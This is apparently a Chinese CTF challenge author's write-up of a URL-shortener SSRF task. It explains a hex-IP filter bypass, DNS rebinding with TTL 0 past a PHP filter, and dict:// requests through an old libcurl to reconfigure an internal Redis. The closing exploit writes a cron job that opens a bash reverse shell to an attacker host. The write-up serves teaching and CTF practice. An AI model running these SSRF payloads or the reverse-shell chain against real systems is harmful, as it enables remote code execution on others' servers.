此題是一個短域名生成工具,某次使用google短域名的時候,發現居然還會請求域名!后面發現挺多短域名工具也會這樣做,所以以此為契機。
非預期解法繞過
http://0xAC120002
這個題目,我是做了嚴格的過濾的,302跳轉后的地址也是驗證的,另外對內網地址限制,是先經過解析為ip,然后再進行ip限制。但是當時沒仔細看ip的限制,docker里面的ip是172.18段,導致是可以繞過的。
代碼修改於:
https://github.com/chengable/safe_code
我就說說原本的思路吧
主要考察兩點:
1、dns重綁定繞過ssrf的waf
2、dict協議利用
php的waf做判斷的時候,第一次會解析域名的ip,然后判斷這個ip是不是內網ip,如果不是內網ip的時候,再去真正用curl請求這個域名。
這就牽涉到了,curl請求這個域名會做第二次域名解析,重新對dns服務器進行請求,獲得到一個內網ip,這時候就是繞過限制請求到了內網資源。
當然需要ttl設置為0,不然里面坑點挺多。
自己寫一個dns服務器,
所以當我們請求的時候:
http://域名/tools.php?a=s&u=http://ip:88/_testok
等價於:
http://127.0.0.1/tools.php?a=s&u=http://ip:88/_testok
可以看到是dns繞過限制成功
另外可以從phpinfo中獲取到很多信息。比如redis的主機
另外還有一個很重要的點:libcurl是7.19.7,版本很老,只支持tftp, ftp, telnet, dict, http, file
大家對gopher比較熟悉,但是事實上,dict等協議也是可以利用的,比如利用它來攻擊redis
最后的exp:
54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/config:set:dir:/var/spool/cron/
54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/config:set:dbfilename:root
54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/set:0:"\x0a\x0a*/1\x20*\x20*\x20*\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/vps/8888\x200>\x261\x0a\x0a\x0a"
54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/save
這里面最需要注意的就是編碼問題,一不小心就很容易出問題